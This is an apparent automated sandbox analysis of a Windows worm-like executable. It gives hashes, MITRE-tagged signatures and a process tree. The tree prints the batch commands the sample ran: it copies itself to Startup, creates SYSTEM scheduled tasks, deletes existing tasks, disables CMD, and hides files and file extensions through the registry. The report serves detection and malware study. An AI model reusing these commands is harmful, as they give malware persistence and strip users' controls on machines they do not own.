52525bbac63c96a99e827e816f3b2cfd30c0e7cd940b699d53a2e97460ec8259

Analysis

max time kernel
150s
max time network
125s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
30/12/2023, 02:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0bd7d7dabe45fe525f5d1a4a6f873e51.exe
Size

39KB
MD5

0bd7d7dabe45fe525f5d1a4a6f873e51
SHA1

f660189ddf84889efdb1293d83fb8ab0ebb92650
SHA256

52525bbac63c96a99e827e816f3b2cfd30c0e7cd940b699d53a2e97460ec8259
SHA512

033ca26d6609004397cbed4cfe4c1bddb35cec45f28873aff7ce69e59a3777f10d564e90d6759d65e5c43c72fdce096e30904be0f91e1530bc8e1ea8b7b73f7e
SSDEEP

768:+PL3EeDC0W89JUtXnbcuyD7U/n5tSwlBrhr4TfbExyuPu6k8UaL746F+ZZnvHuml:4LpDC0+nouy8ywrhr4TbExyuPu6kLaLW

Score

10^/10

evasion upx

Malware Config

Signatures

Modifies visibility of file extensions in Explorer 2 TTPs 20 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe

Modifies visiblity of hidden/system files in Explorer 2 TTPs 10 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe

Sets file to hidden 1 TTPs 11 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
1592	attrib.exe
2948	attrib.exe
2212	attrib.exe
304	attrib.exe
272	attrib.exe
2604	attrib.exe
2864	attrib.exe
1516	attrib.exe
2568	attrib.exe
2052	attrib.exe
856	attrib.exe

Executes dropped EXE 1 IoCs

pid	Process
2220	4A0B.tmp

Loads dropped DLL 2 IoCs

pid	Process
2504	0bd7d7dabe45fe525f5d1a4a6f873e51.exe
2504	0bd7d7dabe45fe525f5d1a4a6f873e51.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2504-0-0x0000000000400000-0x0000000000425000-memory.dmp	upx
behavioral1/memory/2504-536-0x0000000000400000-0x0000000000425000-memory.dmp	upx

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\bg1	xcopy.exe
File opened for modification	C:\Windows\bg1	xcopy.exe
File opened for modification	C:\Windows\bg1	xcopy.exe
File opened for modification	C:\Windows\bg1	xcopy.exe
File opened for modification	C:\Windows\bg1\text.txt	xcopy.exe
File opened for modification	C:\Windows\bg1	xcopy.exe
File opened for modification	C:\Windows\bg1\text.txt	xcopy.exe
File opened for modification	C:\Windows\bg1	xcopy.exe
File opened for modification	C:\Windows\bg1\text.txt	xcopy.exe
File opened for modification	C:\Windows\bg1	xcopy.exe
File opened for modification	C:\Windows\bg1\text.txt	xcopy.exe
File created	C:\Windows\bg1\text.txt	xcopy.exe
File opened for modification	C:\Windows\bg1\text.txt	xcopy.exe
File opened for modification	C:\Windows\bg1\text.txt	xcopy.exe
File opened for modification	C:\Windows\bg1\text.txt	xcopy.exe
File opened for modification	C:\Windows\bg1\text.txt	xcopy.exe
File opened for modification	C:\Windows\bg1	xcopy.exe
File opened for modification	C:\Windows\bg1\text.txt	xcopy.exe
File opened for modification	C:\Windows\bg1	xcopy.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 46 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1948	schtasks.exe
2076	schtasks.exe
2476	schtasks.exe
1832	schtasks.exe
1276	schtasks.exe
1736	schtasks.exe
880	schtasks.exe
2344	schtasks.exe
1080	schtasks.exe
1848	schtasks.exe
1724	schtasks.exe
2436	schtasks.exe
2216	schtasks.exe
2952	schtasks.exe
1500	schtasks.exe
2500	schtasks.exe
2744	schtasks.exe
2176	schtasks.exe
1956	schtasks.exe
888	schtasks.exe
2480	schtasks.exe
1928	schtasks.exe
1492	schtasks.exe
1752	schtasks.exe
1728	schtasks.exe
1720	schtasks.exe
1704	schtasks.exe
2348	schtasks.exe
2964	schtasks.exe
1012	schtasks.exe
1712	schtasks.exe
1268	schtasks.exe
2656	schtasks.exe
764	schtasks.exe
2912	schtasks.exe
1388	schtasks.exe
1604	schtasks.exe
2272	schtasks.exe
1972	schtasks.exe
1332	schtasks.exe
2248	schtasks.exe
1712	schtasks.exe
1984	schtasks.exe
2896	schtasks.exe
1380	schtasks.exe
1568	schtasks.exe

Enumerates system info in registry 2 TTPs 64 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
2852	taskkill.exe
3008	taskkill.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2852	taskkill.exe
Token: SeDebugPrivilege	3008	reg.exe
Token: SeShutdownPrivilege	2632	reg.exe
Token: SeRemoteShutdownPrivilege	2632	reg.exe
Token: SeShutdownPrivilege	2016	xcopy.exe
Token: SeRemoteShutdownPrivilege	2016	xcopy.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2504 wrote to memory of 2220	2504	0bd7d7dabe45fe525f5d1a4a6f873e51.exe	16
PID 2504 wrote to memory of 2220	2504	0bd7d7dabe45fe525f5d1a4a6f873e51.exe	16
PID 2504 wrote to memory of 2220	2504	0bd7d7dabe45fe525f5d1a4a6f873e51.exe	16
PID 2504 wrote to memory of 2220	2504	0bd7d7dabe45fe525f5d1a4a6f873e51.exe	16
PID 2220 wrote to memory of 2804	2220	4A0B.tmp	21
PID 2220 wrote to memory of 2804	2220	4A0B.tmp	21
PID 2220 wrote to memory of 2804	2220	4A0B.tmp	21
PID 2220 wrote to memory of 2804	2220	4A0B.tmp	21
PID 2804 wrote to memory of 2852	2804	cmd.exe	28
PID 2804 wrote to memory of 2852	2804	cmd.exe	28
PID 2804 wrote to memory of 2852	2804	cmd.exe	28
PID 2804 wrote to memory of 2852	2804	cmd.exe	28
PID 2804 wrote to memory of 3008	2804	cmd.exe	100
PID 2804 wrote to memory of 3008	2804	cmd.exe	100
PID 2804 wrote to memory of 3008	2804	cmd.exe	100
PID 2804 wrote to memory of 3008	2804	cmd.exe	100
PID 2804 wrote to memory of 2632	2804	cmd.exe	101
PID 2804 wrote to memory of 2632	2804	cmd.exe	101
PID 2804 wrote to memory of 2632	2804	cmd.exe	101
PID 2804 wrote to memory of 2632	2804	cmd.exe	101
PID 2804 wrote to memory of 2016	2804	cmd.exe	155
PID 2804 wrote to memory of 2016	2804	cmd.exe	155
PID 2804 wrote to memory of 2016	2804	cmd.exe	155
PID 2804 wrote to memory of 2016	2804	cmd.exe	155
PID 2804 wrote to memory of 1516	2804	cmd.exe	158
PID 2804 wrote to memory of 1516	2804	cmd.exe	158
PID 2804 wrote to memory of 1516	2804	cmd.exe	158
PID 2804 wrote to memory of 1516	2804	cmd.exe	158
PID 2804 wrote to memory of 1520	2804	cmd.exe	157
PID 2804 wrote to memory of 1520	2804	cmd.exe	157
PID 2804 wrote to memory of 1520	2804	cmd.exe	157
PID 2804 wrote to memory of 1520	2804	cmd.exe	157
PID 2804 wrote to memory of 2272	2804	cmd.exe	167
PID 2804 wrote to memory of 2272	2804	cmd.exe	167
PID 2804 wrote to memory of 2272	2804	cmd.exe	167
PID 2804 wrote to memory of 2272	2804	cmd.exe	167
PID 2804 wrote to memory of 1644	2804	cmd.exe	166
PID 2804 wrote to memory of 1644	2804	cmd.exe	166
PID 2804 wrote to memory of 1644	2804	cmd.exe	166
PID 2804 wrote to memory of 1644	2804	cmd.exe	166
PID 2804 wrote to memory of 1752	2804	cmd.exe	163
PID 2804 wrote to memory of 1752	2804	cmd.exe	163
PID 2804 wrote to memory of 1752	2804	cmd.exe	163
PID 2804 wrote to memory of 1752	2804	cmd.exe	163
PID 2804 wrote to memory of 2236	2804	cmd.exe	45
PID 2804 wrote to memory of 2236	2804	cmd.exe	45
PID 2804 wrote to memory of 2236	2804	cmd.exe	45
PID 2804 wrote to memory of 2236	2804	cmd.exe	45
PID 2804 wrote to memory of 1692	2804	cmd.exe	38
PID 2804 wrote to memory of 1692	2804	cmd.exe	38
PID 2804 wrote to memory of 1692	2804	cmd.exe	38
PID 2804 wrote to memory of 1692	2804	cmd.exe	38
PID 2804 wrote to memory of 1972	2804	cmd.exe	84
PID 2804 wrote to memory of 1972	2804	cmd.exe	84
PID 2804 wrote to memory of 1972	2804	cmd.exe	84
PID 2804 wrote to memory of 1972	2804	cmd.exe	84
PID 2804 wrote to memory of 2196	2804	cmd.exe	44
PID 2804 wrote to memory of 2196	2804	cmd.exe	44
PID 2804 wrote to memory of 2196	2804	cmd.exe	44
PID 2804 wrote to memory of 2196	2804	cmd.exe	44
PID 2804 wrote to memory of 2276	2804	cmd.exe	40
PID 2804 wrote to memory of 2276	2804	cmd.exe	40
PID 2804 wrote to memory of 2276	2804	cmd.exe	40
PID 2804 wrote to memory of 2276	2804	cmd.exe	40

Views/modifies file attributes 1 TTPs 20 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2932	attrib.exe
2276	attrib.exe
2052	attrib.exe
1592	attrib.exe
2948	attrib.exe
2212	attrib.exe
856	attrib.exe
1608	attrib.exe
272	attrib.exe
2140	attrib.exe
648	attrib.exe
2800	attrib.exe
764	attrib.exe
2600	attrib.exe
304	attrib.exe
1424	attrib.exe
2568	attrib.exe
2604	attrib.exe
2864	attrib.exe
1516	attrib.exe

C:\Users\Admin\AppData\Local\Temp\4A0B.tmp
C:\Users\Admin\AppData\Local\Temp\4A0B.tmp C:\Users\Admin\AppData\Local\Temp
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpfile0.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Flash.10.exe /im Macromedia.10.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2852
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Flash.10.exe /im Macromedia.10.exe
    3⤵
    - Kills process with taskkill
    PID:3008
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown -a
    3⤵
    PID:2016
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown -a
    3⤵
    PID:2632
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    PID:2272
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    PID:1752
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:1692
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
    3⤵
    PID:1972
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    PID:2276
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1324
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /delete /tn * /f
    3⤵
    PID:2188
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f
    3⤵
    PID:1980
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:2196
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f
    3⤵
    PID:2236
- - C:\Windows\SysWOW64\at.exe
    at /delete /yes
    3⤵
    PID:2536
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1276
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\bg1\" /h /c /y /i
    3⤵
    PID:1644
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1984
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    PID:1520
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\AUTOEXEC.BAT"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:1516
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1928
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1492
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1012
- - C:\Windows\SysWOW64\at.exe
    at 6:10am msg * Sembahyang Subuh...
    3⤵
    PID:1556
- - C:\Windows\SysWOW64\at.exe
    at 1:35pm msg * Sembahyang Zuhur...
    3⤵
    PID:2380
- - C:\Windows\SysWOW64\at.exe
    at 4:50pm msg * Sembahyang Asar...
    3⤵
    PID:1732
- - C:\Windows\SysWOW64\at.exe
    at 7:25pm msg * Sembahyang Maghrib...
    3⤵
    PID:2100
- - C:\Windows\SysWOW64\at.exe
    at 8:40pm msg * Sembahyang Isyak...
    3⤵
    PID:820
- - C:\Windows\SysWOW64\at.exe
    at 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )
    3⤵
    PID:1612
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h text.txt
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:1592
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2052
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2440
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    PID:2228
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"
    3⤵
    - Views/modifies file attributes
    PID:2800
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2204
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    PID:444
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:1488
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:1472
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f
    3⤵
    PID:1016
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    PID:1632
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /delete /tn * /f
    3⤵
    PID:1628
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    PID:1104
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
    3⤵
    PID:1468
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f
    3⤵
    PID:896
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\bg1\" /h /c /y /i
    3⤵
